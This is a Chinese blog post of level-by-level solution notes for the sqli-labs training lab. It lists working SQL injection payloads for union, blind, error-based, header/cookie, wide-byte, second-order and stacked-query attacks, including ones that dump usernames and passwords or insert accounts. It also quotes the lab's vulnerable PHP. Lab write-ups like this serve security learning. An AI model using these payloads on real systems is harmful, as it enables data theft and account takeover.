sqli-labs解题笔记
如果你看到了我的,我还是推荐你去看这个网址(https://blog.csdn.net/dreamthe/article/details/123795302),其中更详细和全面,我也从中学习了一些知识。
第十一关:
payload如下:
' union select 1,2,database() --+
' union select 1,(select table_name from information_schema.tables where table_schema=database() limit 3,1) --+
' union select 1,(select column_name from information_schema.columns where table_name='users' limit 16,1) --+
' union select 1,(select username from users where id = 1),(select password from users where id=1) --+
第十二关:
payload如下:
") union select 1,2,database() --+
") union select 1,(select table_name from information_schema.tables where table_schema=database() limit 3,1) --+
") union select 1,(select column_name from information_schema.columns where table_name='users' limit 16,1) --+
") union select 1,(select username from users where id = 1),(select password from users where id=1) --+
第十三关:
没有回显是布尔盲注,payload如下:
') length(database())>10 --+
') ascii(substr(database(),1,1))>96 --+
第十四关:
没有回显是布尔盲注,payload如下:
" length(database())>10 --+
" ascii(substr(database(),1,1))>96 --+
第十五关:
没有回显是布尔盲注,payload如下:
' length(database())>10 --+
' ascii(substr(database(),1,1))>96 --+
第十六关:
没有回显是布尔盲注,payload如下:
") length(database())>10 --+
") ascii(substr(database(),1,1))>96 --+
第十七关:
报错注入:
' and (extractvalue(1,concat(0x7e,database(),0x7e)))--+ 爆数据库
' and (extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e)))# 爆表名
' and (extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e)))#
' and (extractvalue(1,concat(0x7e,(select password from (select password from users where username='Dumb') b) ,0x7e)))#
' and (extractvalue(1,concat(0x7e,(select group_concat(username,password) from users where id = 1),0x7e)))#
/*其他的*/
' and (updatexml(1,concat(0x7e,version(),0x7e),1)) --+
第十八关:
这关使用到了User-Agent的注入。我是上网看别人的,我首先没有看到。
此管需要登录用户,因为用户名和密码的注入已经进行了过滤无法得到结果,原因在于调用到了下列语句。
$value = substr($value,0,20);//截取value从0开始的20位。
不过如果执行完用户登录后会出现如下语句。
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
mysqli_query($con1, $insert);
其中的参数uagent和IP又是通过如下语句获取并且没有过滤,因为获取的是HTTP_USER_AGENT所以需要再http请求中在User-Agent的值中输入payload。
$uagent = $_SERVER['HTTP_USER_AGENT'];
$IP = $_SERVER['REMOTE_ADDR'];
因为没有打印该sql语句的执行结果,所以用报错注入。
payload如下:
需要注意的是因为插入数据的sql语句有三个参数所以我们需要三个占位符,在其中一个写入sql语句即可。
1',2,(extractvalue(1,concat(0x7e,database(),0x7e))) )#
1',2,(extractvalue(1,concat(0x7e,(select group_concat(username,password) from users where id = 2),0x7e))) )#
第十九关:
本关和上一关只有两点区别。
区别在于注入点不同转移到了Referer,sql语句只有两个参数了。
//区别点一
$uagent = $_SERVER['HTTP_REFERER'];
$IP = $_SERVER['REMOTE_ADDR'];
//区别点二
$insert="INSERT INTO `security`.`referers` (`referer`, `ip_address`) VALUES ('$uagent', '$IP')";
mysqli_query($con1, $insert);
所以payload变为如下:
1',(extractvalue(1,concat(0x7e,database(),0x7e))) )#
1',(extractvalue(1,concat(0x7e,(select group_concat(username,password) from users where id = 2),0x7e))) )#
第二十关:
本关和上一关只有两点区别。
区别在于需要使用GET请求,注入点不同转移到了cookie中并且需要一个名为uname的变量名接收sql语句。
//只有当下列判断函数满足时才能进行注入
if(!isset($_POST['submit']))
//注入点
$cookee = $_COOKIE['uname'];
//中间是其他语句
$sql="SELECT * FROM users WHERE username='$cookee' LIMIT 0,1";
$result=mysqli_query($con1, $sql);
所以payload变为如下:
'and updatexml (1,concat(0x5c, database(), 0x5c),1)#
'and updatexml (1,concat(0x5c,(select group_concat(username,password) from users),0x5c),1)#
第二十一关
本关和上一关有两个区别点。
区别在于绕过条件从单引号变成单引号加小括号,注入的sql语句需要先进行base64的加密。
$cookee = base64_decode($cookee);
$sql="SELECT * FROM users WHERE username=('$cookee') LIMIT 0,1";
$result=mysqli_query($con1, $sql);
还要注意的是需要在sql语句前加入一个用户名一起加密,数据库存在的即可。所以payload变为如下:
Dumb')and updatexml (1,concat(0x5c, database(), 0x5c),1)#
//加密后
RHVtYicpYW5kIHVwZGF0ZXhtbCAoMSxjb25jYXQoMHg1YywgZGF0YWJhc2UoKSwgMHg1YyksMSkj
Dumb')and updatexml (1,concat(0x5c,(select group_concat(username,password) from users),0x5c),1)#
//加密后
RHVtYicpYW5kIHVwZGF0ZXhtbCAoMSxjb25jYXQoMHg1Yywoc2VsZWN0IGdyb3VwX2NvbmNhdCh1c2VybmFtZSxwYXNzd29yZCkgZnJvbSB1c2VycyksMHg1YyksMSkj
第二十二关
本关和上一关只有一个区别点。
区别在于绕过条件从单引号加括号转变成双引号。
$cookee = base64_decode($cookee);
$cookee1 = '"'. $cookee. '"';
$sql="SELECT * FROM users WHERE username=$cookee1 LIMIT 0,1";
$result=mysqli_query($con1, $sql);
所以payload变为如下:
Dumb" and updatexml (1,concat(0x5c, database(), 0x5c),1)#
//加密后
RHVtYiIgYW5kIHVwZGF0ZXhtbCAoMSxjb25jYXQoMHg1YywgZGF0YWJhc2UoKSwgMHg1YyksMSkj
Dumb" and updatexml (1,concat(0x5c,(select group_concat(username,password) from users),0x5c),1)#
//加密后
RHVtYiIgYW5kIHVwZGF0ZXhtbCAoMSxjb25jYXQoMHg1Yywoc2VsZWN0IGdyb3VwX2NvbmNhdCh1c2VybmFtZSxwYXNzd29yZCkgZnJvbSB1c2VycyksMHg1YyksMSkj
第二十三关
本关又会到了第一个关的请求方式,但是它对注释符进行了过滤。可以使用报错和联合注入。
$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);
所以payload变为如下:
?id=-1' union select 1,(database()),3 or '1' = '1
?id=-1' union select 1,(select group_concat(password,username) from users),3 or '1'='1
需要注意的是如果使用bp传参需要对sql语句进行URL编码。
第二十四关
本关和以往不同,我也是看了别人的才知道。本关用的是二次注入实现已存在用户名的密码修改。
流程如下:
1、在注册界面注册一个用户名:admin'# 密码:任意。
2、在修改密码界面,输入用户名、原本的密码、新密码
3、此时会发现admin用户的密码变成了刚刚输入的新密码。
原理如下:
当我们输入admin'#是如下语句将发生变化。因为admin后面的井号会注释后面的所以语句,而前面的单引号刚好闭合成用户"admin"并且没有对用户名进行过滤,而且新的密码又在前面。
$username= $_SESSION["username"];
$pass= mysqli_real_escape_string($con1, $_POST['password']);
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
第二十五关
本关与第二十三关相识,其中唯一的区别在于二十三关事过滤了注释符,而本关事过滤了and和or并且不区分大小写。下面是比较关键的语句。注入方式同二十三关。
function blacklist($id){
$id= preg_replace('/or/i',"", $id);
$id= preg_replace('/AND/i',"", $id);
return $id;
}
$id=$_GET['id'];
$id= blacklist($id);
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysqli_query($con1, $sql);
$row = mysqli_fetch_array($result, MYSQLI_BOTH);
绕过方法很简单讲and替换成&&或是将or替换成||即可绕过,或者有更简单的用联合注入。所以payload变为如下:
?id=' || extractvalue(1,concat(0x7e,database(),0x7e))#
?id=' union select 1,(database()),3#
第二十六关
本关进行了多种过滤,我只知道可以使用报错注入。
function blacklist($id)
{
$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
$id= preg_replace('/and/i',"", $id); //Strip out AND (non case sensitive)
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --
$id= preg_replace('/[#]/',"", $id); //Strip out #
$id= preg_replace('/[\s]/',"", $id); //Strip out spaces
$id= preg_replace('/[\/\\\\]/',"", $id); //Strip out slashes
return $id;
}
其中过滤的绕过从上到下有:
第一:过滤and,可以使用||。
第二:过滤or,可以使用&&。
第三:过滤/*,因为是为了过滤这个(/**/)注释符所以没有绕过方式。
第四和第五:因为是过滤的注释符,可以使用闭合的方式进行绕过例如本关就可以在最后加'1让过。
第六:过滤空格,可以使用'+'、%09 TAB键(水平)、%0a 新建一行、%0c 新的一页、%0d return功能、%0b TAB键(垂直)、%a0 空格绕过。
第七:过滤反斜杠和三一起起到过滤注释符的作用。
所以payload变为如下:
'||extractvalue(1,concat(0x7e,database(),0x7e))||'1
?id=1'||(updatexml(1,concat(0x7e,(select(group_concat(passwoorrd,username))from(users))),1))||'0
第二十六a关(无法注出)
本关和上一关一样的过滤方式,绕过方式有点不同因为加了一个括号。因为页面不显示报错信息,所以需要使用联合和盲注。
//不显示报错因为少了一下语句
print_r(mysqli_error($con1));
所以payload变为如下:
?id=1')union%0Aselect%0A1,database(),('3
第二十七关
和第二十六关一样用同样的报错注入。
过滤函数如下过滤三种注释、空格、union(不全)和select(不全)
此处就省略payload,可以从二十六关查看。
第二十七a关
过滤方式和二十七关一样,但是不许要跳出'),而需要跳出"。并且不可以使用报错注入。
所以payload变为如下:
?id=0"unioN%0AselecT%0A1,2,database()"1
?id=0"unioN%0AselecT%0A1,2,group_concat(column_name)from%0Ainformation_schema.columns%0Awhere%0Atable_schema='security'%0Aand%0Atable_name='users'%0Aand"1
第二十八关
本关使用了一个特殊的过滤其他过滤和上一关一样,'union select'的字符串过滤无论大小写。
$id= preg_replace('/union\s+select/i',"", $id); //Strip out UNION & SELECT.
所以payload变为如下:
?id=1')uni union%0Aselecton%0Aselect%0A1,database(),('3
第二十八a关
本关的过滤只保留了'union select'的字符串过滤无论大小写。并且不能使用报错注入。
function blacklist($id)
{
$id= preg_replace('/union\s+select/i',"", $id); //Strip out spaces.
return $id;
}
payload如下:
?id=1')uniunion selecton select 1,database(),('3
第二十九关
我查看了别人的讲解说需要传入两个id参数,第一个传入数字,第二个传入sql语句,但是我用一个好像也能成功注出。
本关没有对sql语句进行过滤,只需要跳出单引号就行了。报错注入和联合注入都行。
所以payload如下:
?id=' || extractvalue(1,concat(0x7e,database(),0x7e)) --+
?id=' union select 1,(database()),3 --+
第三十关
上关一样没有过滤,但本次需要跳出双引号,并且不能使用报错注入。
所以payload如下:
//数据库名
?id=" union select 1,(database()),3#
//数据库中的表名
?id=" union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#
//数据表中的字段名
?id=" union select 1,2,group_concat(column_name) from information_schema.columns where table_name = 'users'#
//表中的数据
?id=" union select 1,2,group_concat(username,password) from users#
第三十一关
上关一样没有过滤,但本次需要跳出双引号加括号。可以使用报错和联合。
payload如下:
//数据库
?id=")||extractvalue(1,concat(0x7e,database()))#
//数据库中的数据表
?id=")||extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))#
//数据表中的字段名
?id=")||extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 15,1)))#
//数据表中数据
?id=")||extractvalue(1,concat(0x7e, (select group_concat(username,password) from users where id=1)))#
第三十二关
本关过滤反斜杠和单引号双引号,也就是在单引号和双引号前使用反斜杠转义。但是后面它又使用gbk编码,所以可以使用宽字节注入。
//过滤
function check_addslashes($string)
{
$string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string); //escape any backslash
$string = preg_replace('/\'/i', '\\\'', $string); //escape single quote with a backslash
$string = preg_replace('/\"/', "\\\"", $string); //escape double quote with a backslash
return $string;
}
//使用gbk编码,然后执行
mysqli_query($con1, "SET NAMES gbk");
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
所以payload如下:
//数据库
?id=%df' union select 1,2,database()#
//数据库中的数据表
?id=%df' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
//数据表中的字段名
?id=%df' union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 --+
//数据表中数据
?id=%df' union select 1,2,group_concat(username,password) from users --+
第三十三关
过滤的效果和上一关是一样的,但它是使用的函数。
function check_addslashes($string)
{
$string= addslashes($string);
return $string;
}
payloacd如下和上一关的一样:
//数据库
?id=%df' union select 1,2,database()#
//数据库中的数据表
?id=%df' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
//数据表中的字段名
?id=%df' union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 --+
//数据表中数据
?id=%df' union select 1,2,group_concat(username,password) from users --+
第三十四关
本关又回到了post请求,但是过滤方式还是和上关一样。并可以用报错也可以使用联合。
payload如下:
//数据库
%df' union select 1,database() --
%df'||extractvalue(1,concat(0x7e,database())) --
//数据库中的数据表
%df' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() --
//数据表中的字段名
%df'union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 --
//数据表中数据
%df' union select 1,group_concat(username,password) from users --
第三十五关
本关的过滤方式和上一关一样,但不需要跳出任何字符。可以使用联合和报错注入。
payload如下:
//数据库
?id=extractvalue(1,concat(0x7e,database()))#
?id=-1 union select 1,database(),3#
//数据库中的数据表
?id=extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))#
//数据表中的字段名
?id=extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name=0x7573657273 limit 15,1)))#
//数据表中数据
?id=extractvalue(1,concat(0x7e, (select group_concat(username,password) from users where id=1)))#
第三十六关
对比上一关多了一步要跳出单引号。
payload如下:
//数据库
?id=%df' union select 1,database(),3#
//数据库中的数据表
?id=%df' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#
//数据表中的字段名
?id=%df'union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273#
//数据表中数据
?id=%df' union select 1,2,group_concat(username,password) from users#
第三十七关
本关的payload和二十三和二十二关的payload相同。注入点不同而已,并且可以使用报错注入。
//数据库
%df' union select 1,2,database()#
%df'||extractvalue(1,concat(0x7e,database()))#
//数据库中的数据表
%df' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
//数据表中的字段名
%df' union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 --+
//数据表中数据
%df' union select 1,2,group_concat(username,password) from users --+
第三十八关
这关可以使用报错联合注入。语句可以和上一关一样。我看了一下源码有很多不懂的函数。于是上网搜索发现了一种新的注入方法:堆叠注入。原因是存在mysqli_multi_query函数。可以语句后面加分号紧跟着另一条sql语句。实例:下面这条语句可以创建一个用户。
?id=1';insert into users(id,username,password) values ('21','0kooo','123456')--+
#向数据表插入自己的账户密码
注入payload参照上一关。
第三十九关
本关和上一关一样可以使用堆叠注入、报错注入、联合注入。并且不需要跳出任何符号。
报错和联合的payload参考三十五关。
第四十关
本关用的的是联合注入,不能使用报错注入。
payload如下:
//数据库
?id=') union select 1,database()#
//数据库中的数据表
?id=') union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
//数据表中的字段名
?id=') union select 1,group_concat(column_name) from information_schema.columns where table_name='user'#
//数据表中数据
?id=') union select 1,group_concat(username,password) from users#
第四十一关
本关用的的是联合注入,不能使用报错注入。
payload如下:
//数据库
?id=-1 union select 1,database(),3#
//数据库中的数据表
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#
//数据表中的字段名
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='user'#
//数据表中数据
?id=-1 union select 1,2,group_concat(username,password) from users#
第四十二关
本关可以使用报错注入。但是注入点只能是password,因为username进行了过滤。也可以使用堆叠注入因为也存在mysqli_multi_query函数。
$username = mysqli_real_escape_string($con1, $_POST["login_user"]);
$password = $_POST["login_password"];
payload如下:
//数据库
'||extractvalue(1,concat(0x7e,database()))#
//数据库中的数据表
'||extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))#
//数据表中的字段名
'||extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 15,1)))#
//数据表中数据
'||extractvalue(1,concat(0x7e, (select group_concat(username,password) from users where id=1)))#
';insert into users(id,username,password) values ('21','0kooo','123456')--+
//堆叠注入创建用户
第四十三关
本关和上一关一样只对用户名进行了过滤,可以使用报错注入,也可以使用堆叠注入。
payload如下:
//数据库
')||extractvalue(1,concat(0x7e,database()))#
//数据库中的数据表
')||extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))#
//数据表中的字段名
')||extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 15,1)))#
//数据表中数据
')||extractvalue(1,concat(0x7e, (select group_concat(username,password) from users where id=1)))#
');insert into users(id,username,password) values ('21','0kooo','123456')--+
//堆叠注入创建用户
第四十四关
本关和上一关一样只对用户名进行了过滤,可以在密码处写入注入函数,本次我用的是联合注入,堆叠注入也可以,报错注入不行。值得注意的是当注入成功后会进行跳转,注入的结果会在新的页面中显示,所以不要用bp提交注入请求。并且需要再二号显示位进行sql注入不然也不返回结果。
//数据库
' union select 1,database(),3#
//堆叠注入创建用户
';insert into users(id,username,password) values ('21','0kooo','123456')--+
我试了一下用联合注入只能注出数据库名。也有可以实力不行注不出其他。
但是可以用堆叠注入,注册新用户。和第三十八关一样。
第四十五关
和上一关一样,只是需要跳出单引号加小括号。
//数据库
' union select 1,database(),3#
//堆叠注入创建用户
');insert into users(id,username,password) values ('21','0kooo','123456')--+
第四十六关
本关用的的是order by所以不能使用联合注入。但是可以使用报错注入。并且本关接收参数的名字是sort。
$id=$_GET['sort'];
if(isset($id))
{
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'SORT:'.$id."\n");
fclose($fp);
$sql = "SELECT * FROM users ORDER BY $id";
$result = mysqli_query($con1, $sql);
if ($result)
{
?>
<center>
<font color= "#00FF00" size="4">
<table border=1'>
<tr>
<th> ID </th>
<th> USERNAME </th>
<th> PASSWORD </th>
</tr>
</font>
</font>
<?php
while ($row = mysqli_fetch_assoc($result))
{
echo '<font color= "#00FF11" size="3">';
echo "<tr>";
echo "<td>".$row['id']."</td>";
echo "<td>".$row['username']."</td>";
echo "<td>".$row['password']."</td>";
echo "</tr>";
echo "</font>";
}
echo "</table>";
}
else
{
echo '<font color= "#FFFF00">';
print_r(mysqli_error($con1));
payload如下:
//数据库
?sort=1&&extractvalue(1,concat(0x7e,database()))#
//数据库中的数据表
?sort=1&&extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))#
//数据表中的字段名
?sort=1&&extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 15,1)))#
//数据表中数据
?sort=1&&extractvalue(1,concat(0x7e, (select group_concat(username,password) from users where id=1)))#
第四十七关
本关和上关一样,只不过需要跳出单引号。
第四十八关
本关不能使用报错注入,因为没有报错显示,其余的和四十六关一样。所以需要使用时间盲注。
//判断数据库长度
?sort=1 && if(length(database())=4,sleep(3),1)#
第四十九关
本关和上一关一样只能使用时间盲注。但是需要跳出单引号。
$sql = "SELECT * FROM users ORDER BY '$id'";
payload如下:
//判断数据库长度
?sort=1' && if(length(database())=4,sleep(3),1)#
//其余的大同小异
第五十关
本关可以可以使用报错和堆叠注入。并且不需要跳出任何符号。
第三行:堆叠注入原因
第三十六行:报错注入原因
$sql="SELECT * FROM users ORDER BY $id";
/* execute multi query */
if (mysqli_multi_query($con1, $sql))
{
?>
<center>
<font color= "#00FF00" size="4">
<table border=1'>
<?php
if ($result = mysqli_store_result($con1))
{
while($row = mysqli_fetch_row($result))
{
echo '<font color= "#00FF11" size="3">';
echo "<tr>";
echo "<td>";
printf("%s", $row[0]);
echo "</td>";
echo "<td>";
printf("%s", $row[1]);
echo "</td>";
echo "<td>";
printf("%s", $row[2]);
echo "</td>";
echo "</tr>";
echo "</font>";
}
}
echo "</table>";
}
else
{
echo '<font color= "#FFFF00">';
print_r(mysqli_error($con1));
echo "</font>";
payload如下:
//数据库
?sort=1'||extractvalue(1,concat(0x7e,database()))#
//数据库中的数据表
?sort=1'||extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))#
//数据表中的字段名
?sort=1'||extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 15,1)))#
//数据表中数据
?sort=1'||extractvalue(1,concat(0x7e, (select group_concat(username,password) from users where id=1)))#
//堆叠注入
?sort=1;insert into users(id,username,password) values ('21','0kooo','123456')#
第五十一关
本关和上一关多了一个需要跳出单引号。其他一样。
第五十二关
本关可以使用堆叠和盲注,不需要跳出任何符号。
第三行:堆叠注入原因
$sql="SELECT * FROM users ORDER BY $id";
/* execute multi query */
if (mysqli_multi_query($con1, $sql))
{
?>
<center>
<font color= "#00FF00" size="4">
<table border=1'>
<tr>
<th> ID </th>
<th> USERNAME </th>
<th> PASSWORD </th>
</tr>
</font>
</font>
<?php
/* store first result set */
if ($result = mysqli_store_result($con1))
{
while($row = mysqli_fetch_row($result))
{
echo '<font color= "#00FF11" size="3">';
echo "<tr>";
echo "<td>";
printf("%s", $row[0]);
echo "</td>";
echo "<td>";
printf("%s", $row[1]);
echo "</td>";
echo "<td>";
printf("%s", $row[2]);
echo "</td>";
echo "</tr>";
echo "</font>";
}
}
echo "</table>";
}
}
else
{
echo "Please input parameter as SORT with numeric value<br><br><br><br>";
echo "<br><br><br>";
echo '<img src="../images/Less-52.jpg" /><br>';
}
第五十三关
本关和上一关相比需要跳出单引号,其他相同。
$sql="SELECT * FROM users ORDER BY '$id'"
第五十四关
本关我的建议是在浏览器上进行注入,我用burp注不出来。本关注入点在参数id。
可以使用联合注入不能使用报错住人。
第二十六行:注入形成的位置
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
//update the counter in database
next_tryy();
//Display attempts on screen.
$tryyy = view_attempts();
echo "You have made : ". $tryyy ." of $times attempts";
echo "<br><br><br>\n";
//Reset the Database if you exceed allowed attempts.
if($tryyy >= ($times+1))
{
setcookie('challenge', ' ', time() - 3600000);
echo "<font size=4>You have exceeded maximum allowed attempts, Hence Challenge Has Been Reset </font><br>\n";
echo "Redirecting you to challenge page..........\n";
header( "refresh:3;url=../sql-connections/setup-db-challenge.php?id=$pag" );
echo "<br>\n";
}
// Querry DB to get the correct output
$sql="SELECT * FROM security.users WHERE id='$id' LIMIT 0,1";
$result=mysqli_query($con1, $sql);
$row = mysqli_fetch_array($result, MYSQLI_BOTH);
if($row)
{
echo '<font color= "#00FFFF">';
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo 'Your Password:' .$row['password'];
echo "</font>";
}
else
{
echo '<font color= "#FFFF00">';
// print_r(mysqli_error($con1));
echo "</font>";
}
}
payload如下:
值得注意的是每个人的数据表、key都是随机生成的,所以注意修改。
并且只有十次机会注入获取key。
//数据库中的数据表
?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+
//数据表中的字段名
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='n45udnzt7c' --+
//数据表中数据
?id=-1' union select 1,2,group_concat(secret_JL48) from n45udnzt7c --+
最后将注出的key值输入到下方输入框中。
第五十五关
本关和上一关一样,不过跳出的符号变成了小括号。
//数据库中的数据表
?id=-1) union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
//数据表中的字段名
?id=-1) union select 1,2,group_concat(column_name) from information_schema.columns where table_name='jcfkhcbdle' --+
//数据表中数据
?id=-1) union select 1,2,group_concat(secret_55B8) from jcfkhcbdle --+
第五十六关
本关和上一关一样,不过跳出的符号变成了单引号加小括号。
//数据库中的数据表
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
//数据表中的字段名
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='zj3qud845d' --+
//数据表中数据
?id=-1') union select 1,2,group_concat(secret_LWU7) from zj3qud845d --+
第五十七关
本关和上一关一样,不过跳出的符号变成了双引号。
//数据库中的数据表
?id=-1" union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
//数据表中的字段名
?id=-1" union select 1,2,group_concat(column_name) from information_schema.columns where table_name='imqt7t8vn2' --+
//数据表中数据
?id=-1" union select 1,2,group_concat(secret_9EPC) from imqt7t8vn2 --+
第五十八关
可以使用报错注入不能使用联合注入。
第十行和第十二行是不能使用联合注入的原因。
$sql="SELECT * FROM security.users WHERE id='$id' LIMIT 0,1";
$result=mysqli_query($con1, $sql);
$row = mysqli_fetch_array($result, MYSQLI_BOTH);
if($row)
{
echo '<font color= "#00FFFF">';
$unames=array("Dumb","Angelina","Dummy","secure","stupid","superman","batman","admin","admin1","admin2","admin3","dhakkan","admin4");
$pass = array_reverse($unames);
echo 'Your Login name : '. $unames[$row['id']];
echo "<br>";
echo 'Your Password : ' .$pass[$row['id']];
echo "</font>";
}
else
{
echo '<font color= "#FFFF00">';
print_r(mysqli_error($con1));
echo "</font>";
}
payload如下:
值得注意的是每个人的数据表、key都是随机生成的,所以注意修改。
//数据库中的数据表
?id=-1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+
//数据表中的字段名
?id=-1' and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name='qhi627mgea' limit 2,1))) --+
//数据表中数据
?id=-1' and extractvalue(1,concat(0x7e, (select group_concat(secret_B9Y2) from qhi627mgea))) --+
第五十九关
本关和上一关一样,不过不需要跳出符号。
//数据库中的数据表
?id=-1 and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+
//数据表中的字段名
?id=-1 and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name='qhi627mgea' limit 2,1))) --+
//数据表中数据
?id=-1 and extractvalue(1,concat(0x7e, (select group_concat(secret_B9Y2) from qhi627mgea))) --+
第六十关
本关和上一关一样,不过跳出的符号变成了双引号加小括号。
//数据库中的数据表
?id=-1") and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+
//数据表中的字段名
?id=-1") and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name='6mlwd5jhtt' limit 2,1))) --+
//数据表中数据
?id=-1") and extractvalue(1,concat(0x7e, (select group_concat(secret_1UXL) from 6mlwd5jhtt))) --+
第六十一关
本关和上一关一样,不过跳出的符号变成了内层单引号加外层的双层小括号。
//数据库中的数据表
?id=-1')) and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+
//数据表中的字段名
?id=-1')) and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name='z5ql6tmeks' limit 2,1))) --+
//数据表中数据
?id=-1')) and extractvalue(1,concat(0x7e, (select group_concat(secret_WM9N) from z5ql6tmeks))) --+
第六十二关
本关需要使用时间盲注或是时间盲注。
payload如下(部分):
?id=1 ') and if(length((select database()))=10,sleep(5),1)--+
//时间注入,如果出现延迟表示该数据库名长度是10
?id=1 ')and length((select database()))=10--+
//布尔盲注
第六十三关
本关和上一关一样,不过跳出的符号变成了单引号。
$sql="SELECT * FROM security.users WHERE id='$id' LIMIT 0,1";
第六十四关
本关和上一关一样,不过跳出的符号变成了双层的小括号。
$sql="SELECT * FROM security.users WHERE id=(($id)) LIMIT 0,1";
第六十五关
本关和上一关一样,不过跳出的符号变成了内层的双引号加外层的单层小括号。
$id = '"'.$id.'"';
$sql="SELECT * FROM security.users WHERE id=($id) LIMIT 0,1";
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 如何编写易于单元测试的代码
· 10年+ .NET Coder 心语,封装的思维:从隐藏、稳定开始理解其本质意义
· .NET Core 中如何实现缓存的预热?
· 从 HTTP 原因短语缺失研究 HTTP/2 和 HTTP/3 的设计差异
· AI与.NET技术实操系列:向量存储与相似性搜索在 .NET 中的实现
· 地球OL攻略 —— 某应届生求职总结
· 周边上新:园子的第一款马克杯温暖上架
· Open-Sora 2.0 重磅开源!
· 提示词工程——AI应用必不可少的技术
· .NET周刊【3月第1期 2025-03-02】